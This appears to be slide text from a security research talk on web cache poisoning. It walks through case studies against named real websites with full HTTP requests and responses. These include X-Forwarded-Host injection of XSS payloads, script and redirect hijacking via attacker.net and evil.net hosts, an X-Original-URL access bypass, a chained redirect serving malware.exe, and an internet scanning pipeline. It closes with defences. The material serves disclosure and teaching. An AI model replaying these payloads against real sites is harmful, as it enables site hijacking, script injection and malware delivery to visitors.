


PRACTICAL WEB CACHE POISONING

REDEFINING 'UNEXPLOITABLE'

James Kettle



1) Guess obscure query parameter:

`enable_2017_grid_view_refresh_for_everyone_except
_users_who_can_create_datasets_e_g_anon`

2) ~~Find obscure vulnerability: `alert`xss:(``~~

~~Guess cookies: `Server-Side Environment Clobbering`~~

~~Guess headers: `alert`xss:(``~~

Cache poisoning?

Outline


- Context, Theory & Methodology
- Practical Examples & Demo
- Defense
- Q&A

Caching Threat Landscape


Practical Web Cache Poisoning is not

- Browser cache poisoning
- Web Cache Deception
- Response Splitting / Request Smuggling
- Theoretical

How it's meant to work



Cache poisoning objective



Cache keys

GET /images/cat.jpg?v=1.2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ... Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close

Cache key collisions


```
GET /blog/cracking.html
Host: portswigger.net
User-Agent: Firefox/57.0
Cookie: language=en;
Connection: close
```

```
HTTP/1.1 200 OK
...
<title>
    Cracking the Lens
</title>
```

```
GET /blog/cracking.html
Host: portswigger.net
User-Agent: Firefox/57.0
Cookie: language=es;
Connection: close
```

```
HTTP/1.1 200 OK
...
<title>
    Rompiendo el Lente
</title>
```

Cache Poisoning Methodology



Case Studies

featuring:




Basic Cache Poisoning



```
GET /en?cb=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host: canary
```

```
HTTP/1.1 200 OK  
Cache-Control: public, no-cache  
...  
<meta property="og:image"  
      content="https://canary/cms/social.png" />
```

Basic Cache Poisoning



GET /en?safe=1 HTTP/1.1

Host: www.redhat.com

X-Forwarded-Host: a.\"><script>alert(1)</script>

HTTP/1.1 200 OK

Cache-Control: public, no-cache

...

<meta... c="https://a.\"><script>alert(1)</script>

GET /en?safe=1 HTTP/1.1


Host: www.redhat.com

HTTP/1.1 200 OK

...

<script>alert(1)</script>


Seizing the Cache



```
GET / HTTP/1.1
Host: unity3d.com
X-Host: attacker.net
```

```
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
...
<script src="https://attacker.net/blah/foo.js">
</script>
```

Selective poisoning



```
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (<snip> Firefox/60.0)
X-Forwarded-Host: a"><iframe onload=alert(1)>
```

```
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
...
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
```

DOM Poisoning



```
GET /dataset HTTP/1.1
```

```
Host: catalog.data.gov
```

```
X-Forwarded-Host: burpcollaborator.net
```

```
HTTP/1.1 200 OK
```

```
Age: 32707
```

```
X-Cache: Miss from cloudfont
```


```
...
```

```
<body data-site-root="https://burpcollaborator.net/"
```

```
GET /api/i18n/en
```

```
Host: burpcollaborator.net
```

DOM Poisoning




/api/i18n/es => {"Show more": "Mostrar más"}

```
template = [ '<a href="#">'  
            + this.i18n('show_more')  
            + '</a>' ]
```

{"Show more": "<svg onload=alert(1)>"}



Mystery Interaction



GET /api/v1/classify_client HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 ... Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: x.burpcollaborator.net


The screenshot shows the Burp Collaborator client interface. At the top, there's a button to "Generate Collaborator payloads" with a dropdown for "Number to generate" set to 1, and a "Copy to clipboard" button. Below that is a "Poll Collaborator interactions" section with a "Poll every" dropdown set to 10 seconds and a "Poll now" button. The main area displays a table of interactions:

#	Time	Type	Payload	Comment
1	2018-Jan-23 15:24:34 UTC	HTTP	cr7xbjwco33fie37eb4n0r1qswkk9	
2	2018-Jan-23 15:24:34 UTC	DNS	cr7xbjwco33fie37eb4n0r1qswkk9	
3	2018-Jan-24 15:24:34 UTC	DNS	cr7xbjwco33fie37eb4n0r1qswkk9	
4	2018-Jan-24 15:24:34 UTC	HTTP	cr7xbjwco33fie37eb4n0r1qswkk9	
5	2018-Jan-25 13:27:25 UTC	HTTP	cr7xbjwco33fie37eb4n0r1qswkk9	
6	2018-Jan-25 13:27:25 UTC	DNS	cr7xbjwco33fie37eb4n0r1qswkk9	
7	2018-Jan-25 13:27:24 UTC	DNS	cr7xbjwco33fie37eb4n0r1qswkk9	
8	2018-Jan-25 13:27:25 UTC	HTTP	cr7xbjwco33fie37eb4n0r1qswkk9	
9	2018-Jan-25 13:27:24 UTC	DNS	cr7xbjwco33fie37eb4n0r1qswkk9	
10	2018-Jan-25 13:27:25 UTC	HTTP	cr7xbjwco33fie37eb4n0r1qswkk9	

Below the table, there are tabs for "Description", "Request to Collaborator", and "Response from Collaborator". The "Request to Collaborator" tab shows the raw request details:

Raw: GET /api/v1/classify_client HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
X-Forwarded-Host: cr7xbjwco33fie37eb4n0r1qswkk9.burpcollaborator.net

Mozilla SHIELD



GET /api/v1/ HTTP/1.1

Host: normandy.cdn.mozilla.net

X-Forwarded-Host: xyz.burpcollaborator.net

HTTP/1.1 200 OK

X-Cached: MISS

MR. ROBOT

{

"action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
"recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",

...

}

Chaining Unkeyed Inputs



GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nohttps

HTTP/1.1 301 Moved Permanently
Location: https://redacted.net

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nohttps

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en

Route Poisoning



```
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
```

```
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
```

```
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
```


```
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
```

```
HTTP/1.1 200 OK
```

```
...
```

```
<script>alert(document.domain)</script>
```

Hidden Route Poisoning




```
GET / HTTP/1.1  
Host: blog.cloudflare.com  
X-Forwarded-Host: foo
```

```
HTTP/1.1 302 Found  
Location: https://ghost.org/fail/
```


```
GET / HTTP/1.1  
Host: blog.cloudflare.com  
X-Forwarded-Host: wax.ghost.io
```

```
HTTP/1.1 302 Found  
Location: http://waf.party/
```


```
GET / HTTP/1.1  
Host: blog.cloudflare.com  
X-Forwarded-Host: blog.binary.com
```



Resource Hijacking



JPG/PNG/PDF



JS/CSS

Location: <http://waf.party/>



Mixed-Content protection

Research opportunity

Reward \$0 Client albinowax Suggested prior experience Researcher

I've encountered a little obstacle during my research. It feels like it *should* be exploitable, but I can't quite crack it. Perhaps you can do better? See if you can pop alert(document.domain) on <https://research1.hackxor.net/> in a fully patched browser. If you find a solution for Chrome or Firefox then drop me an email

This is a challenge aimed at researchers. There are known solutions for Safari, Edge and IE, but not Chrome or Firefox. Don't worry if you can't crack it! -- admin

[Go to target](#)

James Kettle
@albinowax

[Follow](#)


I've added a #hackxor mission for the researchers out there! This is an open challenge with a cash prize, and no known solution so far. hackxor.net/mission?id=7



preload HSTS by Sajjad Hashemian

302 to HTTPS by @_s_n_t

Open Graph hijacking



```
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942...;
X-Forwarded-Host: attacker.com
```

```
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
...
<meta property="og:url" content='https://attacker.com/...'
```

Secure Shell Terminal: vt220

A A A A C O

```
root@atlanta:/# curl -i -s -k -X '$'GET' \
>     -H '$'Host: [REDACTED]' -H '$'Cookie: [REDACTED]' \
; -H '$'X-Forwarded-Host: portswigger-labs.net' -H '$'Accept-Encoding: gzip' \
, def' -H '$'Accept: */*' -H '$'Accept-Language: en' -H '$'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windo
```

REDACTED

[Share 1](#) [Tweet](#)

Cross-Cloud Poisoning: Cloudflare


```
GET /cdn-cgi/trace HTTP/1.1          fl=21f169  
Host: anything-on-cloudflare          ip=81.139.39.150  
                                         ts=1528298037.748  
                                         visit_scheme=https  
                                         colo=LHR  
                                         loc=GB  
  
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80 |  
zgrab --port 80 --data traceReq | fgrep visit_scheme |  
jq -c '[.ip, .data.read]' cf80scheme |  
sed -E 's/\"([0-9.]*).*colo=([A-Z]+).*/\1 \2/' |  
awk -F " " '!x[$2]++'
```

104.28.19.112	LHR
172.64.47.124	DME
172.64.9.230	IAD

172.64.13.163	EWR
172.64.32.99	SIN
198.41.238.27	AKL

198.41.212.78	AMS
108.162.253.199	MSP
162.158.145.197	YVR

Beyond fake hosts



```
GET /admin HTTP/1.1  
Host: unity.com
```


HTTP/1.1 403 Forbidden

Access is denied

```
GET /anything HTTP/1.1  
Host: unity.com  
X-Original-URL: /admin
```

HTTP/1.1 200 OK

Please log in



Drupal



Symfony



External cache poison (1/3)



Unused and keyed

GET /education?x=y HTTP/1.1

Host: store.unity.com

X-Original-URL: /gambling?x=y

Used and keyed

Used and unkeyed

Unused and unkeyed


GET /education?x=y HTTP/1.1

HTTP/1.1 200 OK


...

Unity for Gambling

store.unity.com/education



Internal cache poison (2/3)



Unused and unkeyed

GET /search/node?keys=snuff HTTP/1.1

Host: example.com

X-Original-URL: /search/node?keys=kittens

Used and unkeyed

Used and keyed

Unused and keyed

GET /search/node?keys=kittens HTTP/1.1

HTTP/1.1 200 OK

...

Search results for 'snuff'

Drupal Open redirect (3/3)



GET //

Host: drupal.org

HTTP/1.1 302 Found

Location: https://drupal.org/

GET //?destination=https://evil.net\@drupal.org/


Host: drupal.org

HTTP/1.1 302 Found

Location: https://evil.net\@drupal.org/

'Corrected' to / by web browsers

Combining ingredients



Before

```
GET /foo.js?v=1 HTTP/1.1  
Host: business.pinterest.com
```

```
HTTP/1.1 302 Found  
Location: /foo.js
```

```
GET /?destination=https://evil.net\@business.pin.../  
Host: business.pinterest.com  
X-Original-URL: /foo.js?v=1
```


Poison this cache entry with this parameter

After

```
GET /foo.js?v=1 HTTP/1.1  
Host: business.pinterest.com
```

```
HTTP/1.1 302 Found  
Location: https://evil.net\@...
```

Poisoning caches with caches



Poison /redir with /redir?destination=...

GET /?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir?cacheBuster=1

Poison /download?v=1 with pre-poisoned /redir

GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir?cacheBuster=1

Clicking Download installer now serves malware.exe :)


Resources

Run: <https://github.com/PortSwigger/paramMiner>

Read: <https://portswigger.net/blog/practical-web-cache-poisoning>


Practice: <https://hackxor.net/mission?id=7>

Defense



- Cache with caution
- Avoid unkeyed input
 - Detect with Burp / Param Miner
 - Then disable
 - Or strip at the cache layer
 - Or add to cache key

Takeaways



- Frameworks can hide lethal functionality
- Header based input is inherently dangerous
- Cache poisoning is not theoretical